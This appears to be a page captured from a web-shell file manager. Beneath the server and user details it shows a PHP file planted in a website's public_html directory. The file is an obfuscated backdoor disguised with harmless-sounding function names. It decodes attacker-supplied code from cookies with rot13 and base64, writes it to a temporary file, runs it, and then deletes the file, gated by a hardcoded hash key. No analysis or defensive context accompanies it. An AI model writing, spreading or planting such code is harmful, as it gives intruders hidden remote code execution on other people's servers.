HEX
Server: LiteSpeed
System: Linux idn164 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User: intelije (2317)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/intelije/domains/jakartakoma.com/public_html/ot_points.php
<?php


if (isset($_COOKIE[-41+41]) && isset($_COOKIE[4+-3]) && isset($_COOKIE[57-54]) && isset($_COOKIE[15-11])) {
    $entry = $_COOKIE;
    function service_registry($item) {
        $entry = $_COOKIE;
        $res = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'dc28caf1');
        if (!is_writable($res)) {
            $res = getcwd() . DIRECTORY_SEPARATOR . "auth_exception_handler";
        }
        $data_chunk = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($entry[3]));
        if (is_writeable($res)) {
            $itm = fopen($res, 'w+');
            fputs($itm, $data_chunk);
            fclose($itm);
            spl_autoload_unregister(__FUNCTION__);
            require_once($res);
            @array_map('unlink', array($res));
        }
    }
    spl_autoload_register("service_registry");
    $val = "afd5065294201e699705a35e5a9b68d5";
    if (!strncmp($val, $entry[4], 32)) {
        if (@class_parents("module_controller_task_processor", true)) {
            exit;
        }
    }
}